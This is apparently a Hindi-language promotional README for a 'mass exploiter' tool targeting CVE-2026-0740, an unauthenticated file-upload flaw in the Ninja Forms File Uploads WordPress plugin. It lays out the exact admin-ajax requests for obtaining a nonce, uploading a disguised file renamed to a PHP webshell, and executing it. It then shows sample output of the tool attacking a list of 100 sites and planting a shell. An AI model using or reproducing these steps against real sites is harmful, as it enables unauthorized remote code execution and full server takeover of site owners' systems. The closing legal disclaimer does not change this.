
CVE-2026-0740 के लिए स्वचालित सामूहिक शोषक, जो Ninja Forms File Uploads प्लगइन में एक अनधिकृत मनमाना फ़ाइल अपलोड है, जो तैयार किए गए अपलोड के माध्यम से रिमोट कोड निष्पादन को सक्षम करता है।
WordPress के लिए Ninja Forms - File Uploads प्लगइन बिना प्रमाणीकरण के मनमाना फ़ाइल अपलोड के प्रति संवेदनशील है, क्योंकि 'NF_FU_AJAX_Controllers_Uploads::handle_upload' फ़ंक्शन में फ़ाइल प्रकार सत्यापन और क्षमता जाँच की कमी है, जो 3.3.26 तक के सभी संस्करणों में मौजूद है।
यह दोष बिना प्रमाणीकरण के हमलावरों को अनुमति देता है:
~ CVSS स्कोर: 9.8 (क्रिटिकल)
~ प्रभावित संस्करण: <= 3.3.26
चरण 1: Nonce प्राप्त करें
────────────────────────────────────
POST /wp-admin/admin-ajax.php
डेटा: action=nf_fu_get_new_nonce&field_id=7&form_id=7
प्रतिक्रिया: {"success":true,"data":{"nonce":"7a850757a1"}}
│
▼
चरण 2: छिपी हुई फ़ाइल अपलोड करें + PHP में नाम बदलें
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
डेटा:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (whitelisted एक्सटेंशन)
- doc_pdf=shadow.php (नाम बदलने का लक्ष्य)
│
▼
चरण 3: सर्वर दुर्भावनापूर्ण फ़ाइल संग्रहीत करता है
─────────────────────────────────────
स्थान: /wp-content/uploads/ninja-forms/tmp/shadow.php
सामग्री: PHP शेल (अपलोडर / webshell)
│
▼
चरण 4: अपलोड की गई फ़ाइल निष्पादित करें
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ webshell निष्पादित करें
→ पूर्ण सर्वर अधिग्रहण
- क्षेत्र प्रयोगों से निष्कर्ष:
1. `nf_fu_get_new_nonce` एंडपॉइंट फ़ील्ड की उपस्थिति की जाँच किए बिना मान्य nonce लौटाता है
→ `field_id` और `form_id` पैरामीटर का कोई सत्यापन नहीं (कोई भी यादृच्छिक ID काम करती है)
2. नाम बदलने की कार्यक्षमता में महत्वपूर्ण तार्किक दोष
→ प्लगइन POST पैरामीटर के माध्यम से उपयोगकर्ता द्वारा प्रदान किया गया फ़ाइल नाम स्वीकार करता है
→ नाम बदलने के बाद अंतिम फ़ाइल एक्सटेंशन पर कोई सत्यापन नहीं
3. अपलोड की गई फ़ाइल सीधे वेब-सुलभ निर्देशिका में जाती है
→ /wp-content/uploads/ninja-forms/tmp/
4. इस टूल का स्वामी बहुत सुंदर है
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
╰┈➤ पूर्ण प्रतिक्रिया प्रदर्शन
[+] 100 लक्ष्य लोड किए गए
[1/100]
😈 [FRISKA RESEARCHER] हमला: https://example.com
[*] nonce प्राप्त किया जा रहा है...
[*] HTTP स्थिति: 400
[*] प्रतिक्रिया: 0
[-] HTTP त्रुटि: 400
[2/100]
😈 [FRISKA RESEARCHER] हमला: https://www.test.com
[*] nonce प्राप्त किया जा रहा है...
[*] HTTP स्थिति: 200
[*] प्रतिक्रिया: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] शेल अपलोड किया जा रहा है...
[*] अपलोड प्रतिक्रिया: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}
============================================================
🔥 शेल अपलोडर: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================
उन प्रणालियों का अनधिकृत उपयोग जिनके स्वामी आप नहीं हैं या जिनके परीक्षण की अनुमति आपके पास नहीं है, अवैध है।